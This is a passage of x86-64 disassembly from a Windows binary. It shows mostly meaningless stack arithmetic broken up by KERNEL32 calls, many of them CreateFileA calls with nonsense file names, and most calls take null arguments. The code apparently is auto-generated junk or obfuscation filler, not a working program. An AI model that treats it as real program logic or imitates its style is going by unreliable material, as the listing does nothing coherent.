add rax, rcx
mov qword [rsp + 0x93d0], rax
mov rax, qword [rsp + 0x9740]
movzx ecx, al
mov rax, qword [rsp + 0x9858]
shl rax, cl
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov dword [rsp + 0x44a4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9870], rax
mov eax, dword [rsp + 0x4424]
mov ecx, dword [rsp + 0x4450]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5b]
mov byte [rsp + 0x8d], al
lea rax, [0x1401e6028]
mov qword [0x1401e7510], rax
mov rax, qword [rsp + 0x97b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x58]
sar eax, cl
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x94b0]
movzx eax, byte [rax]
mov byte [rsp + 0x8e], al
movzx eax, word [rsp + 0xca4]
movzx ecx, word [rsp + 0xb78]
or eax, ecx
mov word [rsp + 0xbf8], ax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x9620]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4380], eax
lea rdx, [rsp + 0x4448]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x434c], eax
lea rax, [rsp + 0x43f8]
mov qword [rsp + 0x9878], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8f30]
mov rcx, qword [rsp + 0x9138]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9610], rax
mov rax, qword [rsp + 0x8da0]
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x93a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbe8]
add eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
movzx eax, word [rsp + 0xbe0]
mov rcx, qword [rsp + 0x93c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6048], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
lea rax, [rsp + 0x8a]
mov qword [rsp + 0x9888], rax
movzx eax, word [rsp + 0xc18]
imul eax, eax, 0x694
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
lea rdx, [rsp + 0x41e0]
mov rcx, qword [rsp + 0x9260]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4498], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.C:indiaMottled
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9890], rax
mov rax, qword [rsp + 0x9068]
mov eax, dword [rax]
mov dword [rsp + 0x44a8], eax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9680]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [0x1401e6020]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9880], rax
mov rax, qword [rsp + 0x9180]
mov eax, dword [rax]
mov dword [rsp + 0x44ac], eax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x9788]
mov byte [rcx], al
movzx eax, byte [rsp + 0x57]
movzx ecx, byte [rsp + 0x6b]
add eax, ecx
mov byte [0x1401e6036], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xca8], ax
movsx eax, word [rsp + 0xbc0]
mov rcx, qword [0x1401e74a0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x93a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbc8], ax
lea rdx, [rsp + 0x9898]
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4308], eax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x98a0], rax
xor edx, edx
mov rax, qword [rsp + 0x9018]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e90]
div dword [rcx]
mov dword [rsp + 0x43b4], eax
mov rax, qword [rsp + 0x95f0]
mov eax, dword [rax]
mov dword [rsp + 0x44b0], eax
mov rax, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0x95e8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x95d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9168]
mov qword [rsp + 0x98a8], rax
mov rax, qword [rsp + 0x9000]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe4]
xor eax, ecx
mov rcx, qword [0x1401e7430]
mov word [rcx], ax
movsx eax, word [rsp + 0xba4]
movsx ecx, word [rsp + 0xba0]
sar eax, cl
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
mov rax, qword [rsp + 0x93a8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e601c]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov byte [rcx], al
lea rcx, [rsp + 0x25430]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea rax, [rsp + 0x7f]
mov qword [rsp + 0x98b0], rax
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc4c]
sub eax, ecx
mov word [rsp + 0xb84], ax
lea rax, [0x1401e6014]
mov qword [rsp + 0x98b8], rax
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x9098]
mov rcx, qword [rsp + 0x9850]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9538]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7f75
mov rcx, qword [rsp + 0x9330]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x44b4], eax
mov eax, dword [0x1401e741c]
mov dword [rsp + 0x44b8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
lea rcx, [rsp + 0x9600]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbb4]
sub eax, ecx
mov word [0x1401e6064], ax
mov rax, qword [rsp + 0x9678]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
add eax, ecx
mov rcx, qword [rsp + 0x91f0]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x8f], al
movsx eax, word [rsp + 0xbf4]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0x9818]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x96b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xbb8], ax
mov eax, dword [rsp + 0x4398]
mov dword [rsp + 0x44bc], eax
mov rax, qword [rsp + 0x96f0]
mov rcx, qword [rsp + 0x9550]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x97c0], rax
mov rax, qword [rsp + 0x97d8]
mov rax, qword [rax]
mov qword [rsp + 0x98c0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:Masterpiecemoderating_vino
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0x90f0]
mov rcx, qword [rsp + 0x8f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x95f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc64]
shl eax, cl
mov word [0x1401e6050], ax
mov rax, qword [rsp + 0x9338]
movzx eax, byte [rax]
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8e18]
mov byte [rcx], al
mov rax, qword [rsp + 0x9738]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca8]
cdq
idiv ecx
mov word [rsp + 0xb60], ax
lea rdx, [rsp + 0x281b8]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x43fc], eax
lea rcx, [rsp + 0x9808]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x98d0], rax
mov eax, dword [rsp + 0x43e8]
mov rcx, qword [rsp + 0x9438]
mov qword [rsp + 0x98d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x98d8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4418], eax
lea rax, [rsp + 0x9258]
mov qword [rsp + 0x98e0], rax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x94f0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4348]
mov ecx, dword [0x1401e6014]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f00]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc14]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov word [0x1401e602c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:AttenuatorSubset_thankfully
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x98e8], rax
lea rax, [0x1401e741a]
mov qword [rsp + 0x98f0], rax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x41c8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x90f8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e601f]
add eax, ecx
mov rcx, qword [rsp + 0x96d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9370]
mov rcx, qword [rsp + 0x9348]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x443c]
mov dword [rsp + 0x44c0], eax
mov rax, qword [rsp + 0x90f0]
mov rcx, qword [rsp + 0x9108]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9620]
mov dword [rcx], eax
lea rax, [rsp + 0x9258]
mov qword [rsp + 0x98f8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
lea rax, [rsp + 0x86]
mov qword [0x1401e7518], rax
movsx eax, word [rsp + 0xc98]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc30], ax
movzx eax, word [rsp + 0xc40]
mov rcx, qword [rsp + 0x90e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbf8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:Metabolisedcup_anywhereincreases
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9900], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
movzx eax, word [rsp + 0xc78]
mov word [rsp + 0xcac], ax
mov edx, 0x18b465
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4408], eax
movsx eax, word [rsp + 0xc20]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0x93d0]
mov qword [rsp + 0x9908], rax
mov rax, qword [rsp + 0x9228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9700]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8fc0]
mov eax, dword [rax]
mov dword [rsp + 0x44c4], eax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9658]
mov qword [rsp + 0x9910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4494], eax
movzx eax, byte [rsp + 0x6a]
mov byte [0x1401e743a], al
mov rax, qword [rsp + 0x8fd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9350]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
lea rax, [rsp + 0x8e]
mov qword [rsp + 0x9918], rax
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x55]
xor eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x9920], rax
mov eax, dword [0x1401e741c]
mov ecx, dword [rsp + 0x4464]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x9428]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4474], eax
lea rcx, str.indict_Convent_Publicans_deductions
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xcb0], ax
mov rax, qword [rsp + 0x8da0]
mov qword [rsp + 0x9928], rax
mov rcx, qword [rsp + 0x9460]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x9740]
mov rcx, qword [rsp + 0x9828]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9518], rax
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [rsp + 0xbc4]
sub eax, ecx
mov rcx, qword [0x1401e7428]
mov word [rcx], ax
lea rax, [rsp + 0x7a]
mov qword [rsp + 0x9930], rax
mov rax, qword [0x1401e7498]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x77], al
mov dword [rsp + 0x20], 0x28b7
mov r9d, 0x381b
mov r8d, 0x19b1
mov edx, 0x22e1
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4408], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc1c]
add eax, ecx
mov word [rsp + 0xc40], ax
lea rax, [rsp + 0xbc4]
mov qword [rsp + 0x9938], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x9940], rax
mov eax, dword [rsp + 0x442c]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x92f8]
mov dword [rcx], eax
lea rax, [rsp + 0x9448]
mov qword [rsp + 0x9948], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x9638]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x95e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96a0]
mov qword [rcx], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0x9198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4340]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x43dc], eax
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0xbd8]
imul eax, eax, 0x7c0
mov word [0x1401e6068], ax
mov rax, qword [rsp + 0x8fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc4c]
and eax, ecx
mov word [rsp + 0xbb0], ax
mov rax, qword [rsp + 0x98a0]
movzx eax, byte [rax]
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0x94d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc04]
xor eax, ecx
mov word [rsp + 0xc3c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
lea rax, [rsp + 0x4364]
mov qword [rsp + 0x9950], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x93f0]
mov qword [rsp + 0x9958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9958]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x9850]
mov rcx, qword [0x1401e6008]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9850]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x90a0]
mov eax, dword [rax]
mov dword [rsp + 0x44c8], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x91]
shl eax, cl
mov rcx, qword [rsp + 0x91f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x96d0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6032]
sub eax, ecx
mov byte [0x1401e601f], al
lea rax, [rsp + 0x74]
mov qword [rsp + 0x9960], rax
movzx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x91e0]
movzx eax, word [rax]
mov rcx, qword [0x1401e7440]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xbe0], ax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0x9968], rax
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4400], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.C:_sortermumblingsglinting
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9970], rax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x9488]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x91a8]
mov eax, dword [rax]
mov dword [rsp + 0x44cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnfix]
mov r9d, 0x23f
xor r8d, r8d
lea rdx, [rsp + 0x9870]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x43e4], eax
mov rax, qword [rsp + 0x8fc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x443c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44ac], eax
movsx eax, word [rsp + 0xc08]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov rcx, qword [rsp + 0x9750]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c]
movzx ecx, byte [rsp + 0x81]
add eax, ecx
mov rcx, qword [0x1401e7458]
mov byte [rcx], al
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
mov word [rsp + 0xcb4], ax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbc8]
sub eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
movzx eax, byte [0x1401e741a]
mov byte [rsp + 0x94], al
mov rax, qword [rsp + 0x9270]
mov rcx, qword [rsp + 0x9950]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9140]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:ThingspaymastersStubbleMeridianSecretaryship
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x9978], rax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov qword [rsp + 0x9980], rax
mov rax, qword [rsp + 0x9458]
mov rcx, qword [rsp + 0x90f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x445c], eax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x95f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9708], rax
mov rax, qword [rsp + 0x9760]
movzx eax, word [rax]
mov word [rsp + 0xcb8], ax
movzx eax, word [0x1401e74b4]
movzx ecx, word [rsp + 0xc14]
or eax, ecx
mov word [0x1401e606c], ax
mov ecx, 6
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4414], eax
lea rdx, [rsp + 0x41b4]
mov rcx, qword [rsp + 0x91b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4498], eax
movzx eax, byte [rsp + 0x6c]
mov rcx, qword [rsp + 0x9820]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x76], al
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x9988], rax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9988]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x84], al
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98a0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x69], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9990], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov eax, dword [rsp + 0x43c4]
mov dword [rsp + 0x44d0], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x9758]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x9730]
mov qword [rsp + 0x9998], rax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4244], eax
lea rdx, [rsp + 0x95a0]
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x43fc], eax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44d4], eax
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x43fc], eax
mov rax, qword [rsp + 0x9320]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov word [0x1401e6070], ax
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x44d8], eax
mov rax, qword [rsp + 0x92b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x93a0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e78]
mov word [rcx], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea rax, [rsp + 0x67]
mov qword [rsp + 0x99a0], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
sub eax, ecx
mov byte [rsp + 0x64], al
lea rax, [rsp + 0x81]
mov qword [rsp + 0x99a8], rax
mov rax, qword [0x1401e6020]
mov rcx, qword [rsp + 0x8da0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x9188]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x4348]
mov dword [rsp + 0x44dc], eax
mov eax, dword [section..data]
mov ecx, dword [rsp + 0x43e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9088]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbb4]
add eax, ecx
mov rcx, qword [0x1401e74b8]
mov word [rcx], ax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x99b0], rax
mov rax, qword [rsp + 0x9818]
movzx eax, word [rax]
mov rcx, qword [0x1401e7430]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xca4], ax
lea rdx, [rsp + 0x44e0]
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x447c], eax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x99b8], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
movsx eax, word [rsp + 0xb68]
movsx ecx, word [rsp + 0xcb8]
sar eax, cl
mov word [rsp + 0xbc0], ax
mov rax, qword [rsp + 0x9698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x44ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9878]
mov dword [rcx], eax
mov eax, dword [rsp + 0x42c4]
mov dword [rsp + 0x44e4], eax
mov rax, qword [rsp + 0x9908]
mov rcx, qword [rsp + 0x9980]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x93b0], rax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x99c0], rax
movzx eax, word [rsp + 0xbe0]
mov word [0x1401e7520], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4448], eax
mov rax, qword [rsp + 0x8fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc50]
and eax, ecx
mov word [rsp + 0xc64], ax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0x9118]
mov byte [rcx], al
lea rax, [rsp + 0x55]
mov qword [rsp + 0x99c8], rax
mov rax, qword [rsp + 0x9938]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov rcx, qword [rsp + 0x93f8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x44a8]
mov dword [rsp + 0x44e8], eax
mov rcx, qword [rsp + 0x9380]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x44ec], eax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x9948]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x9140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x437c]
sub ecx, eax
mov eax, ecx
